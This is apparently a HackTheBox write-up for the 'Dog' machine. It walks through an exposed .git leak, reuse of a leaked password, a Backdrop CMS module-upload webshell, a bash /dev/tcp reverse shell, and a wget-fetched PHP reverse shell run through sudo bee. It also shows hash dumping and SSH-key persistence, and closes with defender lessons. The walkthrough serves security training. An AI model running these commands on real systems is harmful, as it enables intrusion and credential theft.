Dog

INTRODUCTION

Dog was released for week 8 of HTB’s Season 7 Vice. It is very short and easy. When I started the box, I wondered whether it was related to Cat from earlier in the season; it is not related, as far as I can tell. I would recommend this box to a beginner, especially someone who wants to test their recon and filesystem enumeration fundamentals.

On Dog, recon is everything. Within seconds of starting the box, Nmap should reveal an exposed .git directory. We can reassemble this repository using any number of tools, and realize that the project is probably too large to enumerate manually. By applying some sensible filesystem scanning/enumeration techniques, we can very easily find a probable username. Utilizing the Backdrop login as a username oracle, we can verify our assumption that the username is valid. Find a password (remember to always test for credential reuse!) and log into the web app dashboard to proceed to foothold.

Foothold is trivial as long as you did some vulnerability research. With the Backdrop dashboard accessible, we can easily find the exact version of the CMS, and use this to narrow our search for vulnerabilities. Thankfully, it is a very short search to identify the right vulnerability, and an (almost) turnkey PoC exploit is available. With a couple tiny modifications, we can gain RCE.

The user flag requires one pivot on Dog. Don’t waste your time: just figure out what other users are on the box and test once again for credential reuse.

Privilege escalation for the root flag is ridiculously easy. No need for any privilege escalation scripts or anything - just check sudo -l and do the obvious things. Remember to read the documentation.

As far as I know, easy boxes are not supposed to have any rabbit-holes, and on this box I found two rabbit holes. The rest of the box was very easy, so I’m not advocating for a different difficulty to be assigned… but maybe the box creator should revise a couple things on this one?

title picture

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply

The robots.txt seems notable this time. Usually it’s not present in HTB boxes. Could be a hint?

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
22/tcp open  ssh
80/tcp open  http
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...

There’s a .git found! Let’s pull it ASAP.

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE     VERSION
68/udp    open|filtered tcpwrapped
80/udp    open|filtered http
123/udp   open|filtered ntp
138/udp   open|filtered tcpwrapped
514/udp   open|filtered tcpwrapped
515/udp   open|filtered tcpwrapped
1812/udp  open|filtered radius
1900/udp  open|filtered upnp
2000/udp  open|filtered tcpwrapped
5353/udp  open|filtered zeroconf
30718/udp open|filtered tcpwrapped
31337/udp open|filtered BackOrifice
32768/udp open|filtered omad
32815/udp open|filtered unknown
49182/udp open|filtered unknown
49188/udp open|filtered unknown
49193/udp open|filtered unknown
49194/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

I didn’t see any redirect in the Nmap script scan, but I’ll add dog.htb to my /etc/hosts for convenience and do banner-grabbing for the web server:

DOMAIN=dog.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

There’s clearly some kind of caching system, but that might be normal.

Exposed .git

Before I do anything else, I’ll attempt to get the repo from the exposed .git that we saw from the Nmap script scan:

cd ./source
git clone https://github.com/lijiejie/GitHack.git && cd GitHack
python3 ./GitHack.py http://dog.htb/.git/

👍 This worked perfectly; we now have an adjacent directory dog.htb with all of the source code!

githack success

Source Code review

It’s clear by checking a few files that what we’re seeing is a Backdrop CMS project. Thankfully, we only need to go as far as settings.php in the root of the project to find some creds:

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

Other than that, this is a pretty big CMS… A lot to search through. I’ll come back to investigating this repo after I finish my usual web enumeration.

Vulnerability research

I haven’t seen anything that indicates the exact CMS version yet, but at least I have the name. Some web searching for Backdrop CMS produced a short list of vulnerabilities to keep an eye out for:

  • (Authenticated) Unrestricted file upload, using the Themes mechanism. For version 1.22.0. LINK
  • (Authenticated) Stored XSS via image upload. For version 1.23.0. LINK
  • (Authenticated) RCE, via Module upload mechanism. For version 1.27.0. LINK

I’ll keep these in mind. For now, I’ll need some creds that actually work.

Subdomain enumeration

Next I’ll perform a subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

It became clear that I was being rate-limited, so I terminated the scan. If I see any evidence or hints of a subdomain, I’ll find a way to get around the rate limiting. For now, I’ll leave it.

Directory enumeration

Normally I would perform directory enumeration too. However, I’m fairly certain I’ll just be rate-limited again. Also, I’ve noticed that the URLs in this CMS don’t follow a typical directory structure. All of the pages have been opened using only a query string from the index page, like this:

http://dog.htb/?q=posts/dog-obesity

Exploring the Website

Next I’ll browse the target website manually a little.

I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.

Sometimes this has been key to finding hidden aspects of a website, but it has the side benefit of taking highly detailed notes, too 😉

The target is a website about dog ownership, and helping maintain a happy and healthy dog. There are only a few articles, an About Us page, and a Login page.

article with username on it

One thing I see right away is the article authors… Although there are several articles on this page, all of them are by Anonymous, except for the top one on dog obesity, which is by dogBackDropSystem. Is this a real filename? Let’s see if the Login page will divulge that:

login attempt with found username

😮 It does tell us that it’s a user - if we enter an invalid user, we get the message “Sorry, unrecognized username.” instead of the message we see in the above image. Besides the generic contact email, I don’t see any other usernames mentioned throughout the site.

Now, in ZAP, I’ll add the target dog.htb and all of its subdomains to the Default Context proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap looked like this:

site map

☝️ Note that this is the end result after getting rid of all the false-positives that it collected, which were largely 404s

The big, notable result from this is that the /files directory has directory listing enabled. The contents look identical to what we reassembled using GitHack, but the README.md file shows why this might be:

Backdrop CMS files directory
----------------------------

This directory will be used to store uploaded files.

Aha, interesting - so some sort of file upload is possible!

FOOTHOLD

Reviewing the repository

It would be prudent for me to take another look at the source code obtained earlier by running GitHack over the exposed .git. We already obtained a database credential from settings.php, but it was not reused on the web app. I also tried a few common usernames with that password - no luck.

When I gain access to a large directory like this (whether its via directory listing, a leaked zip file, or maybe I just got SSH access to a box) experience has showed that it’s useful to scan the directory for important info.

search-filesystem.sh

For this task, I’m going to use a tool that I created called search-filesystem. It’s inside my repo “pattern-matching”. It’s for checking a filesystem for any regex maches that you define in a file (patterns.txt). It checks for matches in…

  • Filenames
  • File contents
  • zip, tar, gzip contents

The default/provided patterns.txt file tends to produce way too many false-positives. To minimize false-positives, all I’ve included are the specific details that I know are true - the domain name, a password for the database, and one username:

From experience, I’ve found that adding the target domain is often very helpful

search-filesystem patterns file

Now I’ll run it, only modes 1 and 2 (scan filenames and uncompressed file contents). I’ll use a depth of 5:

cd ./source/GitHack/dog.htb
# (On my machine I already have search-filesystem aliased:)
search-filesystem ./ 5 2 ~/Box_Notes/Dog/tools/patterns.txt 

Moments later, we have a very interesting-looking result!

search-filesystem result

There’s a mention of a user inside update.settings.json. Is this a valid username? Let’s check the Login form again:

checking tiffany existence

👏 Don’t let the “error” styling on that toast fool you; this is a good result! We’ve confirmed that tiffany is a valid username in Backdrop.

Credential Reuse

Since I just gained a new username, it’s important to test everything for credential reuse:

ServiceUsernamePassword
SSHdogBackDropSystemBackDropJ2024DS2024
SSHtiffanyBackDropJ2024DS2024
BackdropdogBackDropSystemBackDropJ2024DS2024
BackdroptiffanyBackDropJ2024DS2024

Perfect - The password was reused between the database (root user) and the CMS (tiffany) 😁

backdrop dashboard

Backdrop CMS

The very first thing I look for when I gain access to a dashboard like this is a way to fingerprint it. Thankfully, this information is available under Reports > Status Report:

Backdrop cms status page

It looks like the Backdrop version is 1.27.0. This is amazing news, because we already found an exploit that claims to work on this version! The exploit can be found here.

I didn’t use the exploit earlier because it required authentication. That should be good now.

Modules RCE

I copied the code from the exploit and modified it slightly to use a randomized filename. The code is really simple; it’s typical of attacking a CMS with a malicious module: we create a module script, define a metadata file for the module, zip them together, and upload/install to the CMS.

In this case, we’ve created a malicious module with a webshell inside:

Module installation RCE 1

The URL /admin/modules/install isn’t reachable. However, we can easily do the same thing using the dashboard normally:

Module installation RCE 2

Navigate to the upload using these options…

  1. Manual Installation
  2. Upload a module, theme or layout
  3. Install button

However, it still doesn’t work. Apparently, it won’t accept a .zip format.

Module installation RCE 3

I’ll repeat the same process, but save my local ./shell directory as a .tar.gz archive.

Module installation RCE 4

Looks like it worked! Let’s try it out. The exploit shows the exact path to reach the webshell at:

Module installation RCE 5

⚠️ Be quick! The cleanup scripts will remove the installed module.

An alternative would have been to use a reverse shell instead of a webshell

Ideally, we can open a reverse shell using this webshell. I’ll use a simple bash reverse shell. First, I’ll start up a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444
bash
nc -lvnp 4444

Now let’s use the webshell to connect back to the listener:

bash -c 'bash -i >& /dev/tcp/10.10.14.14/4444 0>&1'

Module installation RCE 6

🎉 Alright! Popped a reverse shell

USER FLAG

Upgrade the shell

I’ll follow my strategy for upgrading the shell. For more details, please see this article.

which python python3 perl bash
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter] 
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120

Connect to MySQL

🚫 This part did not lead towards the solution of the box. Feel free to check this section out if you want to know more about tunneling or using MySQL from the attacker host. If you’re short on time, skip to the next section.

We already have credentials for MySQL, so it should probably be the first stop. I’ll download my basic toolbox to the target and use chisel to open a SOCKS5 proxy:

Getting toolbox

Chisel SOCKS Proxy

I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.14:9999 R:1080:socks &

To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:

proxychains whatweb http://10.10.14.2:8000

Success 👍

With the SOCKS5 proxy running, I can easily just use proxychains to connect to the MySQL database:

proxychains mysql -h 127.0.0.1 -u root -pBackDropJ2024DS2024

database over proxychains

The backdrop database has a users table. Let’s dump it:

select name,pass,init from users;

database over proxychains 2

🥚 Look at those names! The box creator, @FisMatHack, always uses the same names in their boxes.

I’ll use the name and pass fields only, and concatenate so I have less adjustment to do before cracking:

select concat(name,':',pass) from users;

But if I compare this to /etc/passwd, we actually only see one account overlap: jobert:

cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
# root:x:0:0:root:/root:/bin/bash
# jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
# johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

Password Cracking

After correcting the formatting on the hashes file we just created, we can use Hashcat to start cracking it:

hash cracking

… no result even within a few minutes. While that’s running, I’ll check for credential re-use.

Credential Reuse Again

I’ll check again for credential reuse (this time, only for SSH):

ServiceUsernamePassword
SSHjobertBackDropJ2024DS2024
SSHjohncusackBackDropJ2024DS2024

😂 Alright! We now have an SSH connection. Yikes - that password has been used all over the place!

I’ll continue to let hashcat run for a while, in case we can recover the jobert or root password.

ROOT FLAG

Local enumeration - johncusack

Apparently, johncusack can sudo something:

sudo -l
# (ALL : ALL) /usr/local/bin/bee

Checking netstat doesn’t reveal anything new:

netstat

There aren’t many scheduled processes. There’s one at /etc/cron.d/php for cleaning up PHP sessions every 30 minutes.

Taking a quick look around the filesystem, there’s a strange directory sitting in the filesystem root: /backdrop_tool. This is also the destination of the symlink assigned to /usr/local/bin/bee (which we can sudo):

ll /usr/loca/bin/bee
# lrwxrwxrwx 1 root root 26 Jul  9  2024 /usr/local/bin/bee -> /backdrop_tool/bee/bee.php*

bee symlink

At this point, it seems pretty obvious that the “intended” privesc vector is using this bee tool. Let’s check it out!

Backdrop and Bee

I tried out this bee thing, and it looks like privesc would be a snap if I could just get it to run… It has all kinds of commands for executing arbitrary code and scripts.

bee status
# ⚠ No Backdrop installation found. Run this command again from within a Backdrop installation, or use the '--root' global option.
bee scr /tmp/.Tools/revshell.php
#  ✘  The required bootstrap level for 'php-script' is not ready.

Even when running bee while inside /var/www/html (which I understand to be “within a Backdrop installation”) we get the same errors.

Thankfully, after reading through the documentation here and here, I realized that we cannot count on the position of the current working directory - we must use --root to set the Backdrop installation location, for any of the bee commands to run:

sudo /usr/local/bin/bee --root=/var/www/html status

bee status

It should be very easy to privesc, now that I can run this tool properly. I’ll download a PHP reverse shell from my attacker host:

👇 This is the PHP PentestMonkey reverse shell. There are copies all over the place, but it’s convenient to get it from revshell.com

cd /tmp/.Tools
wget http://10.10.14.14:8000/revshell.php

Now that the reverse shell is available, let’s use the bee command to run PHP scripts, scr:

sudo /usr/local/bin/bee --root=/var/www/html scr /tmp/.Tools/revshell.php

opening root reverse shell

Perfect - and the listener was contacted successfully. That’s a root shell! Wow, yeah that was really easy 😅

root reverse shell

The root flag is sitting in the usual spot. Go ahead and read it for the points:

cat /root/root.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf ./source/GitHack
rm ./loot/backdrop.hashes

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

EXTRA CREDIT

Plant an SSH Key

Right now, we only have a reverse shell as root. Let’s establish some persistence by planting a key. First, I’ll generate a keypair:

ssh-keygen -t rsa -b 1024 -N 'd0gg0d0gg0d0gg0' -f root_id_rsa
cat root_id_rsa.pub # [COPY to clipboard]

Great, now we just need to insert the pubkey into the root user’s authorized_keys file, using the reverse shell:

echo '[PASTE from clipboard]' >> /root/.ssh/authorized_keys

The key is planted, so we might be able to log in without any password now:

ssh -i ./root_id_rsa root@dog.htb  # passphrase: d0gg0d0gg0d0gg0

Works perfectly:

root SSH

LESSONS LEARNED

two crossed swords

Attacker

  • 🚷 Don’t enumerate files manually if you have more than 10-20 files to check. It’s much better to think ahead; try to envision what results might catch your eye, then use more scripted approaches for searching through files (even simple things like find, grep, and strings can be very useful)

  • 🐢 Don’t fight the rate-limiting. This advice is, of course, specific to HackTheBox and other CTF platforms. If you’re running into rate-limiting in a HackTheBox lab, theres a very good chance that you’re doing the wrong thing. I’ve noticed that sometimes box creators will introduce rate-limiting as a way to steer CTF players away from excessive fuzzing.

  • 📑 RTFM. Yep, this advice never gets old. If you don’t know how to do something, one of your first stops should be reading the manual, assuming one exists. In Dog, the bee utility was well-documented, and we could easily see how to use it for privesc even before we were able to run it!

two crossed swords

Defender

  • 🙈 Use gitignore properly. The repository that we pulled had no .gitignore file, a huge mistake. With Backdrop CMS, there are a few places (like settings.php) where it’s very likely that credentials will be stored. It would have been better to set a .gitignore for .env files, and have settings.php read credentials from an environment variable loaded at runtime.

  • 🌵 Repo should be code, not a data store. On this box, we were able to discover a username by checking a configuration file of Backdrop. Some may even consider this to have been an IDOR. Since Backdrop requires a MySQL database… why was this configuration variable not stored in a database? Spreading out sensitive information all over the place makes it very difficult to secure. Much better to keep your secrets in one location.

  • 😎 Least privilege is always cool. There was no reason why both “regular” users (jobert and johncusack) had full sudo privileges to everything bee could do. Even if the administrator insists on sticking with a sudo-based methodology, why not restrict what commands they can run with bee? It’s only one extra word in the sudoers file.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake